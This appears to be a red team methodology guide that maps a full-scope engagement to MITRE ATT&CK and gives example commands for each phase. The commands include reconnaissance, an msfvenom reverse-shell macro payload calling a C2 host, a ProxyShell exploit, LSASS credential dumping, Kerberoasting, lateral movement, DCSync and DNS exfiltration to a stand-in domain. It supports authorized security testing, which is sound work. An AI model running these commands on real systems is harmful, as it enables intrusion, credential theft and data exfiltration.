Conducting Full-Scope Red Team Engagement

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

When to Use

• When conducting security assessments that involve conducting full scope red team engagement
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Written authorization (Rules of Engagement document) signed by executive leadership
• Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
• Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
• Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
• Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques | |---|---|---| | Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info | | Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware | | Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts | | Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File | | Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys | | Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass | | Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files | | Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting | | Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery | | Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash | | Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories | | Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol | | Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |

Phase 2: Reconnaissance (OSINT)

bash
# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

bash
# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

bash
# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Phase 4: Post-Exploitation and Lateral Movement

powershell
# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com

Phase 5: Objective Achievement

Define and pursue specific objectives:

1. Domain Dominance: Achieve Domain Admin access and DCSync credentials
2. Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
3. Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
4. Physical Access: Badge cloning, tailgating, server room access

bash
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

Phase 6: Reporting and Debrief

The report should include:

1. Executive Summary: Business impact, risk rating, key findings
2. Attack Narrative: Timeline of activities with screenshots and evidence
3. MITRE ATT&CK Mapping: Full heat map of techniques used
4. Findings: Each finding with CVSS score, evidence, remediation
5. Detection Gap Analysis: What the SOC detected vs. what was missed
6. Purple Team Recommendations: Specific detection rules for gaps identified

Metrics and KPIs

| Metric | Description | |---|---| | Mean Time to Detect (MTTD) | Average time from action to SOC detection | | Mean Time to Respond (MTTR) | Average time from detection to containment | | TTP Coverage | Percentage of executed techniques detected | | Objective Achievement Rate | Percentage of defined objectives completed | | Dwell Time | Total time red team maintained access undetected |

Tools and Frameworks

• C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
• Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
• Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
• Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
• Reporting: PlexTrac, Ghostwriter, Serpico

References

• MITRE ATT&CK Framework: https://attack.mitre.org/
• Red Team Guide: https://redteam.guide/
• PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
• TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
• CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity